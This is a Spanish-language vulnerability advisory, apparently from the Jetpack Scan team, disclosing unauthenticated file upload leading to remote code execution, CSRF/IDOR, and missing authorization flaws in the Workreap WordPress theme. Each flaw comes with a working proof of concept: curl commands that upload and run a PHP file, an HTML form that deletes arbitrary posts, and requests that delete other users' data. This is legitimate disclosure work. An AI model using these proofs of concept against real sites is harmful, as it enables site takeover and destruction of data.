Múltiples vulnerabilidades en el tema Workreap de Amentotech
Publicado: 2021-07-07Recientemente, el equipo de Jetpack encontró algunos archivos infectados en uno de los sitios alojados de nuestros clientes y rápidamente rastreó la fuente de la infección hasta el tema Workreap de Amentotech. Comenzamos una investigación y descubrimos una serie de terminales AJAX vulnerables en el tema; el más grave de ellos fue una vulnerabilidad de carga no autenticada y no validada que podría conducir a la ejecución remota de código y la toma de control del sitio completo.
Informamos las vulnerabilidades al equipo de Amentotech a través del programa Envato Útil Hacker, y ellos abordaron los problemas de inmediato. La versión 2.2.2 del tema se lanzó el 29 de junio de 2021 y corrige las vulnerabilidades encontradas.
TL;DR
Debido a la gravedad de las vulnerabilidades, recomendamos encarecidamente a todos los usuarios del tema Workreap que actualicen a la versión 2.2.2 o posterior lo antes posible.
Descargue la actualización desde el sitio web del tema e instálela manualmente, o actualícela automáticamente a través del complemento de mercado de Envato.
Detalles
Nombre del tema: Workreap
URI del tema: http://amentotech.com/projects/wpworkreap
Autor: Amentotech
Autor URI: https://themeforest.net/user/amentotech/portfolio
Las vulnerabilidades
Debido a la gravedad de las vulnerabilidades, retrasaremos la publicación de la prueba de concepto y el análisis completo para que los usuarios tengan tiempo de actualizar.
Carga no autenticada que conduce a la ejecución remota de código
Versiones afectadas: < 2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284, CWE-641,
CWS: 90,7
Enlace WPScan: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb
Las acciones de AJAX workreap_award_temp_file_uploader
y workreap_temp_file_uploader
no realizaron verificaciones de nonce ni validaron que la solicitud proviene de un usuario válido de ninguna otra manera. Los puntos finales permitieron cargar archivos arbitrarios en el directorio uploads/workreap-temp
. Los archivos cargados no se desinfectaron ni validaron, lo que permitió a un visitante no autenticado cargar código ejecutable, como secuencias de comandos php.
Prueba de concepto
% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}
% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!
Múltiples vulnerabilidades CSRF + IDOR
Versiones afectadas: < 2.2.2
ID-CVE: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283, CWE-284, CWE-862
CWSS: 78.3
Enlace WPScan: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56
Varias acciones de AJAX disponibles en el tema Workreap carecían de protecciones CSRF, además de permitir referencias directas a objetos (IDOR) no seguras que no estaban validadas. Esto permite que un atacante engañe a un usuario conectado para que envíe una solicitud POST al sitio vulnerable, modificando o eliminando potencialmente objetos arbitrarios en el sitio de destino.
En las versiones anteriores a la 2.0.0, estas acciones carecían completamente de autenticación y cualquier visitante del sitio podía aprovecharlas.

Prueba de concepto
<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
<input name="action" type="hidden" value="workreap_portfolio_remove">
<!-- note value does not have to be a portfolio, any post id will do -->
<input name="id" type="hidden" value="1361">
<input type="submit" value="Get rich!">
</form>
Faltan verificaciones de autorización en acciones AJAX
Versiones afectadas: < 2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283, CWE-862
CWS: 68,5
Enlace WPScan: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e
A varias acciones de AJAX disponibles en el tema Workreap les faltaban verificaciones de autorización para verificar que un usuario estaba autorizado para realizar operaciones críticas, como modificar o eliminar objetos. Esto permitió que un usuario registrado modificara o eliminara objetos pertenecientes a otros usuarios en el sitio.
En las versiones anteriores a la 2.0.0, estas acciones carecen por completo de autenticación y cualquier visitante del sitio podía aprovecharlas.
Prueba de concepto
# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%
# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}
Cronología
2021-06-24: Vulnerabilidad de carga inicial descubierta por el equipo de Jetpack Scan, informada al programa Envato Útil Hacker.
2021-06-25: Se descubrieron más vulnerabilidades documentadas, informó Amentotech a través de Envato.
2021-06-27: Versión 2.2.1 lanzada, solucionó algunas pero no todas las vulnerabilidades.
2021-06-29: Versión 2.2.2 lanzada y correcciones verificadas por el equipo de Jetpack Scan.
Conclusión
Le recomendamos que verifique la versión actual del tema de Workreap que está utilizando en su sitio y, si es anterior a la 2.2.2, ¡actualícela lo antes posible!
En Jetpack, trabajamos arduamente para asegurarnos de que sus sitios web estén protegidos contra este tipo de vulnerabilidades. Para estar un paso por delante de cualquier nueva amenaza, consulte Jetpack Scan, que incluye análisis de seguridad y eliminación automatizada de malware.
Créditos
Investigador original: Harald Eilertsen
Gracias al resto del equipo de Jetpack Scan por sus comentarios, ayuda y correcciones. También gracias a kailoon del programa Envato Útil Hacker por ayudar a comunicarse con Amentotech, y a Amentotech por una pronta respuesta para abordar los problemas y lanzar la versión actualizada.